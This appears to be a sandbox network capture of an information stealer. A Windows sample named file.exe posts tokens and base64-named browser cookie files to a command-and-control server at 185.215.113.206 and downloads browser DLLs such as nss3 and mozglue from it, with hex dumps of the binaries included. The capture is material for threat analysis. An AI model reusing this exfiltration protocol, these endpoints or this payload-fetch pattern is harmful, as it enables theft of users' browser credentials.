00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 18, 2024 13:29:04.018425941 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Nov 18, 2024 13:29:04.018436909 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49727	185.215.113.206	80	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:29:15.148351908 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EHIDAKECFIEBGDHJEBKK--
Nov 18, 2024 13:29:16.564670086 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:29:16.930036068 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file"------FBGIDHCAAKEBAKFIIIEB--
Nov 18, 2024 13:29:17.735992908 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49746	185.215.113.206	80	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:29:23.863946915 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHD Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 13:29:23.863986969 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 18, 2024 13:29:25.245424032 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:29:25.661739111 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="file"------FBFIDBFHDBGIDHJJEGHI--
Nov 18, 2024 13:29:26.439373970 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:29:27.232856989 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 13:29:27.512748957 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 18, 2024 13:29:27.512788057 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 18, 2024 13:29:27.512799978 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 18, 2024 13:29:27.512867928 CET	212	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$
Nov 18, 2024 13:29:27.512878895 CET	1236	IN	Data Raw: 0f b6 c9 c1 e1 18 89 d7 89 54 24 18 0f b6 d2 c1 e2 10 09 ca 0f b6 7c 24 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 Data Ascii: T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?
Nov 18, 2024 13:29:27.512892008 CET	1236	IN	Data Raw: 03 00 00 00 29 c8 c1 f8 1f 80 7c 33 f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 Data Ascii: )\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1
Nov 18, 2024 13:29:27.512908936 CET	124	IN	Data Raw: c4 08 c7 47 08 01 00 00 00 57 e8 3a fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 Data Ascii: GW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4
Nov 18, 2024 13:29:27.512919903 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 18, 2024 13:29:27.513201952 CET	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
Nov 18, 2024 13:29:27.513216019 CET	424	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Nov 18, 2024 13:29:30.601998091 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 13:29:30.881480932 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 18, 2024 13:29:32.547295094 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 13:29:32.827425957 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 18, 2024 13:29:33.706661940 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 13:29:33.986190081 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 18, 2024 13:29:35.921010971 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 13:29:36.200500965 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 18, 2024 13:29:36.498097897 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 13:29:36.777908087 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 18, 2024 13:29:37.492450953 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJEC Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 13:29:38.275186062 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
